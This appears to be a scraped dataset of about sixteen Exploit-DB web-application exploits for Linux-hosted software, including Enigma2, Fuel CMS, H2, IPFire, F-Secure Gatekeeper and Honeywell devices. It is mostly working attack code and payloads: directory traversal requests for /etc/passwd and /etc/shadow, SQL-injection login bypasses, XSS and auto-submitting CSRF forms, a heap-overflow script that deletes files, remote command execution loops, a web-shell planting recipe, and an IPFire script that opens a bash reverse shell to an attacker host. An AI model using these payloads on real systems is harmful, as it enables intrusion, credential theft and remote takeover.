deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18343
Description: Enigma2 Webinterface 1.5.x/1.6.x/1.7.x (Linux) - Remote File Disclosure
Type: webapps
Platform: linux
Date: 2012-01-09
Author: Todor Donev

Exploit:
#!/usr/bin/perl
#
#  Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote root file disclosure exploit
##
#  Author: Todor Donev
#  Email me: todor.donev@@gmail.com
#  Platform: Linux
#  Type: remote
##
#  Gewgle Dork: "Enigma2 movielist" filetype:rss
##
#
#  Enigma2 is a framebuffer-based zapping application (GUI) for linux. 
#  It's targeted to real set-top-boxes, but would also work on regular PCs. 
#  Enigma2 is based on the Python programming language with a backend 
#  written in C++. It uses the [LinuxTV DVB API], which is part of a standard linux kernel.
#
#  Enigma2 can also be controlled via an Enigma2:WebInterface. 
##
#  Thanks to Tsvetelina Emirska !!
##
use LWP::Simple;
$t = $ARGV[0];
if(! $t) {usg();}
$d = $ARGV[1];
if(! $d) {$d = "/etc/passwd";}
my $r = get("http://$t/web/about") or exit;
print "[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit\n";
print "[+] Target: $t\n";
if ($r =~ m/<e2webifversion>(.*)<\/e2webifversion>/g){
print "[+] Image Version: $1\n";
}
if ($r =~ (m/1.6.0|1.6.1|1.6.2|1.6.3|1.6.4|1.6.5|1.6.6|1.6.7|1.6.8|1.6rc3|1.7.0/i)){
print "[+] Exploiting Enigma2 via type1 (file?file=$d)\n";
result(exploit1());
}
if ($r =~ (m/1.5rc1|1.5beta4/i)){
print "[+] Exploiting Enigma2 via type2 (file/?file=../../../..$d)\n";
result(exploit2());
}
sub usg{
print "\n[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit\n";
print "[+] Usage: perl enigma2.pl <victim> </path/file>\n";
exit;
}
sub exploit1{
my $x = get("http://$t/file?file=$d");
}
sub exploit2{
my $x = get("http://$t/file/?file=../../../..$d");
}
sub result{
my $x= shift;
while(defined $x){
print "$x\n";
print "[+] I got it 4 cheap.. =)\n";
exit;
}}
Exploit-DB #36619
Description: Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal
Type: webapps
Platform: linux
Date: 2015-04-02
Author: Anastasios Monachos

Exploit:
+------------------------------------------------------------------------------------------------------+
+ Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access +
+------------------------------------------------------------------------------------------------------+
Affected Product: Ericsson Drutt MSDP (Instance Monitor)
Vendor Homepage  : www.ericsson.com
Version    : 4, 5 and 6 
CVE v2 Vector  : AV:N/AC:L/Au:N/C:P/I:N/A:N
CVE    : CVE-2015-2166
Discovered by  : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched    : Yes

+-------------+
+ Description +
+-------------+
Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.

The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. 

+----------------------+
+ Exploitation Details +
+----------------------+
This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s):

  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties
  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties

+---------------------+
+ Disclosure Timeline +
+---------------------+
17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback
24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office
24.Feb.2015 - Contacted Corporate Security Office team
02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel
02.Mar.2015 - Shared vulnerability details
06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches
08.Mar.2015 - Agreed on public disclosure timelines
12.Mar.2015 - Patches released
31.Mar.2015 - Public disclosure
Exploit-DB #44751
Description: EU MRV Regulatory Complete Solution 1 - Authentication Bypass
Type: webapps
Platform: linux
Date: 2018-05-24
Author: Veyselxan

Exploit:
# Exploit Title: EU MRV Regulatory Complete Solution 1 - Authentication Bypass
# Date: 2018-05-24
# Exploit Author: Veyselxan
# Vendor Homepage: https://codecanyon.net/item/eu-mrv-regulatory-complete-solution/21680923?s_rank=11
# Version: v1 (REQUIRED)
# Tested on: Windows

http://Target/projects/eumrv/app/#/access/signin

username: '=''or'

Password: '=''or'
Exploit-DB #47996
Description: F-Secure Internet Gatekeeper 5.40 - Heap Overflow (PoC)
Type: webapps
Platform: linux
Date: 2020-02-04
Author: Kevin Joensen

Exploit:
# Title: F-Secure Internet Gatekeeper 5.40 - Heap Overflow (PoC)
# Date: 2020-01-30
# Author: Kevin Joensen
# Vendor: F-Secure
# Software: https://www.f-secure.com/en/business/downloads/internet-gatekeeper
# CVE: N/A
# Reference: https://blog.doyensec.com/2020/02/03/heap-exploit.html

from pwn import *
import time
import sys



def send_payload(payload, content_len=[PII_REDACTED]4, nofun=False):
    r = remote(sys.argv[1], 9012)
    r.send("POST / HTTP/1.1\n")
    r.send("Host: 192.168.0.122:9012\n")
    r.send("Content-Length: {}\n".format(content_len))
    r.send("\n")
    r.send(payload)
    if not nofun:
        r.send("\n\n")
    return r


def trigger_exploit():
    print "Triggering exploit"
    payload = ""
    payload += "A" * 12             # Padding
    payload += p32(0x1d)            # Fast bin chunk overwrite
    payload += "A"* 488             # Padding
    payload += p32(0xdda00771)      # Address of payload
    payload += p32(0xdda00771+4)    # Junk
    r = send_payload(payload)



def massage_heap(filename):
        print "Trying to massage the heap....."
        for x in xrange(100):
            payload = ""
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0xdda0077d)      # Points to where the filename will be in memory
            payload += filename + "\x00"
            payload += "C"*(0x300-len(payload))
            r = send_payload(payload, content_len=0x80000, nofun=True)
            r.close()
            cut_conn = True
        print "Heap massage done"


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
        print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
        exit()
    massage_heap(sys.argv[2])
    time.sleep(1)
    trigger_exploit()
    print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
Exploit-DB #44054
Description: FiberHome - Directory Traversal
Type: webapps
Platform: linux
Date: 2017-10-13
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes a directory traversal vulnerability found in FiberHome routers.

FiberHome Technologies Group “was established in 1974. After continuous and intensive development for over 40 years, its business has been extended to R&D, manufacturing, marketing & sales, engineering service, in 4 major areas: fiber-optic communications, data networking communications, wireless communication, and intelligentizing applications. In particular, it has been providing end-to- end solutions integrated with opto-electronic devices, opticpreforms, fiber & cables, and optical communication systems to many countries around the world.”

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Update 1:

Cve issued: CVE-2017-15647

We tried to contact FiberHome since September 6 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for the vulnerability.

## Vulnerability details
User controlled input is not sufficiently sanitized when passed to /cgi-bin/webproc.

/cgi-bin/webproc receives getpage= as parameter input.

When we pass the directory of a file as a parameter input with parameter var:page, we will get the file from the router.

## Proof of Concept

```
http://+IP+ /cgi-bin/webproc?getpage=/etc/shadow&var:language=en_us&var:page=wizardfifth
```
Exploit-DB #47138
Description: fuel CMS 1.4.1 - Remote Code Execution (1)
Type: webapps
Platform: linux
Date: 2019-07-19
Author: 0xd0ff9

Exploit:
# Exploit Title: fuel CMS 1.4.1 - Remote Code Execution (1)
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763


import requests
import urllib

url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]
Exploit-DB #45105
Description: H2 Database 1.4.197 - Information Disclosure
Type: webapps
Platform: linux
Date: 2018-07-30
Author: owodelta

Exploit:
# Exploit Title: H2 Database 1.4.197 - Information Disclosure
# Date: 2018-07-16
# Exploit Author: owodelta
# Vendor Homepage: www.h2database.com
# Software Link: http://www.h2database.com/html/download.html
# Version: all versions
# Tested on: Linux
# CVE : CVE-2018-14335

# Description: Insecure handling of permissions in the backup function allows
# attackers to read sensitive files (outside of their permissions) via a
# symlink to a fake database file.

# PS, thanks to HTB and our team FallenAngels

#!/usr/bin/python

import requests
import argparse
import os
import random

def cleanup(wdir):
	cmd = "rm {}symlink.trace.db".format(wdir)
	os.system(cmd)

def create_symlink(file, wdir):
	cmd = "ln -s {0} {1}symlink.trace.db".format(file,wdir)
	os.system(cmd)


def trigger_symlink(host, wdir):
	outputName = str(random.randint(1000,10000))+".zip"
	#get cookie
	url = 'http://{}'.format(host)
	r = requests.get(url)
	path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('login.jsp','tools.do')
	url = '{}/{}'.format(url,path)
	payload = {
			"tool":"Backup",
			"args":"-file,"+wdir+outputName+",-dir,"+wdir}
	#print url
	requests.post(url,data=payload).text
	print "File is zipped in: "+wdir+outputName

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	required = parser.add_argument_group('required arguments')
	required.add_argument("-H",
			"--host",
			metavar='127.0.0.1:8082',
			help="Target host",
            required=True)
	required.add_argument("-D",
			"--dir",
			metavar="/tmp/",
			default="/tmp/",
			help="Writable directory")
	required.add_argument("-F",
			"--file",
			metavar="/etc/shadow",
			default="/etc/shadow",
			help="Desired file to read",)
	args = parser.parse_args()

create_symlink(args.file,args.dir)
trigger_symlink(args.host,args.dir)
cleanup(args.dir)
Exploit-DB #44734
Description: Honeywell Scada System - Information Disclosure
Type: webapps
Platform: linux
Date: 2018-05-23
Author: t4rkd3vilz

Exploit:
# Exploit Title: Honeywell Scada System - Information Disclosure
# Date: 2018-05-23
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.honeywell.com
# Version: WebVersion : 3.2.1.294365 - DeviceType : IPC-HFW2320R-ZS
# Tested on: Linux

# To be written after the destination IP address /web_caps/webCapsConfig
# the downloaded file opens with the file name. The file contains
# critical information about the destination address

https://TargetIp/web_caps/webCapsConfig

# Result:

"Anonymous" : false,
   "DeviceSubClass" : "Unknown",
   "HttpPort" : {
      "InnerPort" : 80
   },
   "HttpsPort" : {
      "InnerPort" : 443
   },
   "NAS_Protocol_Mask" : 100,
   "PluginVersion" : "3.3.37.274972",
   "TCPPort" : 37777,
   "WebVersion" : "3.2.1.294365",
   "deviceType" : "IPC-HFW2320R-ZS",
   "eth0" : {
      "IPAddress" : "36.67.33.226",
      "IPv6Address" : "2001:250:3000:1::1:2"
Exploit-DB #44749
Description: Honeywell XL Web Controller - Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2018-05-24
Author: t4rkd3vilz

Exploit:
# Exploit Title: Honeywell XL Web Controller - Cross-Site Scripting
# Date: 2018-05-24
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.honeywell.com
# Version: WebVersion : XL1000C50 EXCEL WEB 52 I/O, XL1000C100 EXCEL WEB
# 104 I/O, XL1000C500 EXCEL WEB 300 I/O, XL1000C1000 EXCEL WEB 600 I/O,
# XL1000C50U EXCEL WEB 52 I/O UUKL, XL1000C100U EXCEL WEB 104 I/O UUKL,
# XL1000C500U EXCEL WEB 300 I/O UUKL, and XL1000C1000U EXCEL WEB 600 I/O UUKL.
# Tested on: Linux
# CVE: CVE-2014-3110

# PoC

POST /standard/mainframe.php HTTP/1.1
Cache-Control: no-cache
Referer: http://79.2.122.25/standard/mainframe.php
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
Cookie: Locale=1033
Accept-Encoding: gzip, deflate
Content-Length: 222
Content-Type: application/x-www-form-urlencoded

SessionID=&LocaleID='or'1=1&LoginSessionID=&LoginUserNameMD5="/><svg/
onload=prompt(/XSS/)>
&LoginPasswordMD5=&LoginCommand=&LoginPassword=&
rememberMeCheck=&LoginDevice=192.168.1.12&LoginUserName=Guest

HTTP/1.1 200 OK
Set-Cookie: rememberUser=deleted; expires=Wednesday, 24-May-17 08:54:02
GMT; path=/
Server: Apache/1.3.23 (Unix) PHP/4.4.9
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Transfer-Encoding: chunked
Date: Thu, 24 May 2018 08:54:03 GMT

<br />
<b>Warning</b>:  xw_get_users() expects parameter 1 to be long, string
given in <b>/mnt/mtd6/xlweb/web/standard/login/loginpage.php</b> on line
<b>97</b><br />
<br />
<b>Warning</b>:  xml_load_texts_file() expects parameter 2 to be long,
string given in <b>/mnt/mtd6/xlweb/web/standard/include/elements.php</b> on
line <b>247</b><br />
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="expires" content="0"/>
    <link rel="stylesheet" href="include/honeywell.css"/>
    <title><br />
<b>Notice</b>:  Undefined index:  HeadTitle in <b>/mnt/mtd6/xlweb/web/
standard/login/loginpage.php</b> on line <b>300</b><br />
</title>
Exploit-DB #44628
Description: Horse Market Sell & Rent Portal Script 1.5.7 - Cross-Site Request Forgery
Type: webapps
Platform: linux
Date: 2018-05-16
Author: L0RD

Exploit:
# Exploit Title: Horse Market Sell & Rent Portal Script 1.5.7  - Cross-Site Request Forgery
# Date: 2018-05-15
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/horse-market-sell-rent-portal/14174352?s_rank=1725
# CVE: N/A
# Version: 1.5.7
# Tested on: Kali linux

# Details:
# Horse Market Sell & Rent Portal Script has CSRF vulnerability which attacker can change user information.

# Exploit :
<html>
<head>
<title>CSRF POC</title>
</head>
  <body>
    <form action="http://geniuscript.com/horse-script/index.php/frontend/myprofile/en" method="POST">
      <input type="hidden" name="name&#95;surname" value="D3C0DE" />
      <input type="hidden" name="username" value="L0RD" />
      <input type="hidden" name="password" value="anything" />
      <input type="hidden" name="password&#95;confirm" value="anything" />
      <input type="hidden" name="address" value="Cyro&#32;trento&#32;23" />
      <input type="hidden" name="description" value="My&#32;description&#32;2" />
      <input type="hidden" name="phone" value="&#43;10101010" />
      <input type="hidden" name="mail" value="lord&#64;gmail&#46;com" />
    </form>
  <script>
      document.forms[0].submit();
  </script>
</body>
</html>
Exploit-DB #30286
Description: ImgSvr 0.6 - 'Template' Local File Inclusion
Type: webapps
Platform: linux
Date: 2007-07-10
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/24853/info

ImgSvr is prone to a local file-include vulnerability because it fails to sanitize user-supplied input.

Attackers may exploit this issue to access files that may contain sensitive information.

UPDATE (December 24, 2007): According to the vendor, this issue was addressed in ImgSvr 0.6.21. However, reports indicate that this version is still vulnerable.

GET /?template=../../../../../../../../../../etc/passwd HTTP/1.0
Exploit-DB #42149
Description: IPFire 2.19 - Remote Code Execution
Type: webapps
Platform: linux
Date: 2017-06-09
Author: 0x09AL

Exploit:
# 
# Title :  IPFire 2.19 Firewall Post-Auth RCE
# Date : 09/06/2017
# Author : 0x09AL (https://twitter.com/0x09AL)
# Tested on: IPFire 2.19 (x86_64) - Core Update 110
# Vendor : http://www.ipfire.org/
# Software : http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso
# Vulnerability Description:
# The file ids.cgi doesn't sanitize the OINKCODE parameter and gets passed to a system call which call wget.
# You need valid credentials to exploit this vulnerability or you can exploit it through CSRF.
# 
#

import requests


# Adjust the ip and ports. 

revhost = '192.168.56.1'
revport = 1337
url = 'https://192.168.56.102:444/cgi-bin/ids.cgi'
username = 'admin'
password = 'admin'


payload = 'bash -i >& /dev/tcp/' + revhost + '/' + str(revport) + ' 0>&1'
evildata = {'ENABLE_SNORT_GREEN':'on','ENABLE_SNORT':'on','RULES':'registered','OINKCODE': '`id`','ACTION': 'Download new ruleset','ACTION2':'snort'}
headers = {'Accept-Encoding' : 'gzip, deflate, br','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','User-Agent':'IPFIRE Exploit','Referer': url,'Upgrade-Insecure-Requests':'1'}


def verifyVuln():
	req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False) # Verify false is added because most of the time the certificate is self signed.
	if(req.status_code == 200 and "uid=99(nobody)" in req.text):
		print "[+] IPFire Installation is Vulnerable [+]"
		revShell()
	else:
		print "[+] Not Vulnerable [+]"

def revShell():
	evildata["OINKCODE"] = '`' + payload + '`'
	print "[+] Sending Malicious Payload [+]"
	req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)

	
verifyVuln()
Exploit-DB #34241
Description: ISPConfig 3.0.54p1 - (Authenticated) Admin Privilege Escalation
Type: webapps
Platform: linux
Date: 2014-08-02
Author: mra

Exploit:
# Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability
# Date: 7/25/14
# Exploit Author: mra
# Vendor Homepage: http://wwwispconfig.org
# Version: 3.0.54p1
# Tested on: ubuntu, centos
# irc.criten.net #elite-chat


While logged in as admin user:


1) add a shell user

2) under option set gid to ispconfig

3) log in as that user

4) edit /usr/local/ispconfig/interface/lib/lang/en.lng with system($_GET['cmd']);


5) browse to: http://server:8080/index.php?cmd=echo /tmp/script >>/usr/local/ispconfig/server/server.sh


6) create /tmp/script and put a command you wish to be executed as root.
Exploit-DB #10262
Description: ISPworker 1.23 - Remote File Disclosure
Type: webapps
Platform: linux
Date: 2009-12-01
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]



########################################################################

#ISPworker <= 1.23 Remote File Disclosure exploit

#Download Script      :  http://www.ispware.de/_files/ispworker-1.23.tar.gz

#Dork                 :  die("lamers attempt");  :P

########################################################################

#

#Vuln : ./ispworker-1.23/files/ispworker/module/ticket/download.php 

#

#       <?header('Content-type: '.$_REQUEST[type]);

#        header('Content-Disposition: attachment; filename="'.$_REQUEST[filename].'"');

#        readfile("./tmp/$ticketid"."_".$_REQUEST[filename]);

#       ?>

#

#PoC  :  http://[target]/[path]/module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00

#        http://[target]/[path]/module/ticket/download.php?filename=../../../../../../../../../etc/passwd

#

########################################################################

########################################################################

####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################

########################################################################

########################################################################



   [ Gorontalo / 2009 ]
Exploit-DB #45090
Description: Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page)
Type: webapps
Platform: linux
Date: 2018-07-26
Author: Zaran Shaikh

Exploit:
# Exploit Title:‚Äã‚Äã Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page)
# Date: 2018-07-22
# Exploit Author: Zaran Shaikh
# Version: 2.5.12
# CVE: NA
# Category: Web Application

# 1. Description
# The application allows malicious HTTP requests to be sent in order to
# trick a user into adding/ deleting web pages.

# 2. Proof of Concept

1. Visit the application
2. Go to add page option
3. Create a crafted HTTP page with delete/ add option and host it on
a server. Upon sending the link to a user and upon click, it gets triggered
and the page is added/deleted
4. Payload:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/kirby/panel/pages/csrf-test-page/delete">
      <input type="hidden" name="&#95;redirect" value="site&#47;subpages" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #38833
Description: Kodi 15 - Web Interface Arbitrary File Access
Type: webapps
Platform: linux
Date: 2015-12-01
Author: Machiel Pronk

Exploit:
# Exploit Title: arbitrary file access kodi web interface
# Shodan dork: title:kodi
# Date: 25-11-2015
# Contact: https://twitter.com/mpronk89
# Software Link: http://kodi.tv/
# Original report: http://forum.kodi.tv/showthread.php?tid=144110&pid=2170305#pid2170305
# Version: v15
# Tested on: linux
# CVE : n/a

kodi web interface vulnerable to arbitrary file read.

example:
<ip>:<port:/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd


for passwd

​(issue fixed in 2012, reintroduced in february 2015. Fixed again november
2015 for v16)